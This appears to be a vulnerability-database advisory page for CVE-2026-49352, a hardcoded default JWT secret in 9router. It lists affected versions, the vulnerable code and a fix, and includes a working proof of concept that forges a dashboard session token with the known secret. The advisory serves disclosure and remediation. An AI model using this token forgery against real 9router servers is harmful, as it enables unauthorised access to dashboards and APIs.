CVE-2026-49352Critical· 9.8▾ AbyssalPoC available9router's Hardcoded Default fallback JWT Secret Allows Authentication Bypass
▾ Abyssal zone — Critical with a public exploit or in-the-wild use
impact 53.9 · likelihood 0.1 · exploitation 12
A public proof-of-concept already exists for this vulnerability — see Exploit availability below.
Public exploit / PoC code seen in 1 source. Availability, not in-the-wild use.
Exploit-prediction probability, daily snapshots since Jul 16.
Disclosure to exploitation, from the record and what we observed since indexing it.
Disclosed via GHSA
0.6%
1 GitHub repo
9router uses a publicly known hardcoded string "9router-default-secret-change-me" as the fallback of JWT secret for all Dashboard session JWTs when the JWT_SECRET environment variable is not set. Because this secret is committed in the public repository and unchanged across all releases, any unauthenticated remote attacker can forge a valid auth_token cookie and gain full access to dashboard and api (If JWT_SECRET is not set on server) . This vulnerable affected so many public 9router server
| Versions | File | Note |
|---|---|---|
>= 0.2.21, <= 0.4.30 | src/app/api/auth/login/route.js + src/middleware.js | Introduced in commit 23cfb19 |
>= 0.4.31, <= 0.4.41 | src/lib/auth/dashboardSession.js | Relocated by OIDC refactor c3d91b0, secret unchanged |
Vulnerable Code
v0.2.21 – v0.4.30 — src/app/api/auth/login/route.js and src/middleware.js:
const SECRET = new TextEncoder().encode(
process.env.JWT_SECRET || "9router-default-secret-change-me"
);
v0.4.31 – v0.4.41 (current) — src/lib/auth/dashboardSession.js (centralized via OIDC refactor, commit c3d91b0):
const SECRET = new TextEncoder().encode(
process.env.JWT_SECRET || "9router-default-secret-change-me"
);
The fallback string was introduced in commit 23cfb19 (2026-01-09) and has never been removed. The OIDC refactor in c3d91b0 only relocated it to a shared module . This vulnerability has existed since 9router first introduced authentication.
Step 1. Craft a JWT signed with the known default secret:
import { SignJWT } from "jose";
const SECRET = new TextEncoder().encode("9router-default-secret-change-me");
const token = await new SignJWT({ authenticated: true })
.setProtectedHeader({ alg: "HS256" })
.setIssuedAt()
.setExpirationTime("36y")
.sign(SECRET);
console.log(token); // example a valid auth_token=eyJhbGciOiJIUzI1NiJ9.eyJhdXRoZW50aWNhdGVkIjp0cnVlLCJpYXQiOjE3Nzg3Njk4NTYsImV4cCI6MjkxNDg0MzQ1Nn0.enMLEqYZKFuzxkmRH6qd3E-Ub-20wOjmiEfP4KyIG6w
Step 2. Set the forged token as the auth_token cookie. And access the http://<target>/dashboard - completely authentication bypass
/api/mcp/ (exploit CVE-2026-46339)Require JWT_SECRET at startup and fail fast rather than falling back silently:
const jwtSecret = process.env.JWT_SECRET;
if (!jwtSecret) {
throw new Error(
"JWT_SECRET environment variable is not set. " +
"Generate one with: openssl rand -hex 32"
);
}
const SECRET = new TextEncoder().encode(jwtSecret);
Alternatively, auto-generate a random secret on first boot and persist it to the data directory — but never fall back to a publicly known constant.
9router >= 0.2.21, <= 0.4.41Upgrade to a patched release:
9router 0.4.45Field changes observed since this record was first indexed.
Connected by shared product, vendor, weakness, or advisory.
CVE-2026-55638High· 8.69router: Unauthenticated LLM proxy access via /codex rewrite authorization bypass
CVE-2026-56677High· 8.69Router is an AI router & token saver
CVE-2026-59800Critical9router: Missing Authorization and OS Command Injection
CVE-2026-55501High· 7.39router: Login brute-force protection bypass via spoofed X-Forwarded-For header
GHSA-vjc7-jrh9-9j86Critical· 10.09router has unauthenticated CRUD on /api/providers and Full API Key Leak via /api/usage/stats
CVE-2026-55500Critical· 9.99routers has Exposure of Sensitive Information and Unprotected Database Import/Export, Allowing Complete Credential Theft and Database Takeover